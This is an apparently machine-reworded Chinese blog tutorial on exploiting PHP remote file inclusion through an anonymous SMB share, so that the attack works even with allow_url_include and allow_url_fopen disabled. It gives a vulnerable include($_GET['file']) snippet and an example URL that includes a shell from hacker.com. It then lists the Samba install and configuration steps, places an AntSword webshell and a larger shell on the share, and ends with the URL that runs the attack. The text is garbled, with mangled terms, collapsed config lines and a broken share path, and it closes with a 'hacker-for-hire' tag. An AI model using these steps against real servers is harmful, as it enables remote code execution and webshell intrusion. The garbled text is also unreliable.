为什么有今日这篇文章?原因是我在阅读Twitter时,发现关于长途文件包括RFI的一个奇淫技巧!值得记载一下,思路也很别致!由于它打破我之前认为RFI已死的观念:)
正文
RFI引出
咱们知道php最危险的缝隙函数类别之一便是文件包括类的函数,比如include,include_once,require,require_once句子的时分,都会运用$_GET或者是其他未经过滤的变量,这便是一个首要的安全危险。
在PHP运用中,一般会有两个问题导致RFI缝隙。其中之一便是运用程序逻辑过错。这些缝隙发生的原因是原本应该被包括到另一个页面的文件并没有被包括,而是包括了其他文件。当这些文件独立履行时,就没有装备文件来指定这些变量的默许值,假如web运用装备不正确的话,用户就可以自己指定文件作为恳求的一部分。
用一个最简略的比如来演示一下RFI
php$file=$_GET['file'];include($file);?>
在上面的代码中,file参数从get恳求中取值,而且是用户可控的值。file接收到参数值后直接带入到PHP文件中,没有经过任何处理。这样进犯者就可以建议相应的恳求,然后让运用程序履行歹意脚本。例如,一个webshell如:http://example.com/?file=http://hacker.com/shell.php。
经过这样操作,咱们就可以长途包括一个shell,造成了RCE,可是这样操作有一个条件,要在php.ini中设置如下:
allow_url_fopen=on
allow_url_include=on
正常情况下,当这两个设置为off时,这个缝隙是不存在的!
另辟蹊径
PHP和 *** B同享文件拜访
在PHP装备文件中,“allow_url_include”包装器默许设置为“封闭”,指示PHP不加载长途HTTP或FTP URL,然后避免长途文件包括进犯。可是,即便“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻挠 *** B URL加载。
进犯场景
当易受进犯的PHP运用程序代码测验从受进犯者操控的 *** B同享加载PHP Web shell时, *** B同享应该答应拜访该文件。进犯者需求在其上装备具有匿名阅读拜访权限的 *** B服务器。因而,一旦易受进犯的运用程序测验从 *** B同享拜访PHP Web shell, *** B服务器将不会要求任何凭证,易受进犯的运用程序将包括Web shell的PHP代码。
首要我重新装备PHP环境并在php.ini文件中禁用“allow_url_fopen”以及“allow_url_include”。后来装备的 *** B服务器具有匿名读拜访权限。 *** B同享准备就绪后,运用易受进犯的运用程序
PHP环境设置
首要咱们要把被进犯主机的php.ini的“allow_url_fopen”和“allow_url_include”设置为“Off”。
履行phpinfo检查装备是否成功:
在持续之前,让咱们保证当咱们测验拜访受咱们操控主机的Web shell时,PHP代码不答应长途文件包括:
当我企图从长途主机包括PHP Web shell时,运用程序抛出过错而且没有发生RFI!
运用匿名读取拜访权限装备SAMBA服务器(Linux)
运用下面的指令装置SAMBA服务器:
apt-get install samba
创立 *** B同享目录:
mkdir /var/www/html/pub/
装备新创立的 *** B同享目录的权限:
chmod 0555 /var/www/html/pub/chown -R nobody:nogroup /var/www/html/pub/
运转以下说到的指令以删去SAMBA服务器装备文件的默许内容:
echo > /etc/samba/ *** b.conf
将下面的内容放在’/etc/samba/ *** b.conf’文件中:
[global]workgroup = WORKGROUPserver string = Samba Server %vnetbios name = indishell-labsecurity = usermap to guest = bad username resolve order = bcast hostdns proxy = nobind interfaces only = yes[ethan]path = /var/www/html/pubwritable = noguest ok = yesguest only = yesread only = yesdirectory mode = 0555force user = nobody
重新启动SAMBA服务器以运用装备文件/etc/samba/ *** b.conf中的新装备。
service *** bd restart
成功重新启动SAMBA服务器后,测验拜访 *** B同享并保证SAMBA服务器不要求凭证。
在我的比如中,SAMBA服务器IP是192.168.23.129,我需求拜访Windows文件阅读器中的 *** B同享,如下:
192.168.23.129
在 *** B服务器中同享PHP Web shell
在目录’/ var / www / html / pub’中同享PHP shell,这是 *** B同享指令’ethan’的目录。
这儿放了两个shell,一个一句话ant.php用来测验蚁剑衔接,一个大马poc.php。
接下咱们开端进犯,首要包括poc.php履行咱们的大马!
http://127.0.0.1:8888/rfi.php?file=192.168.23.129ethanpoc.php[1][2]黑客接单网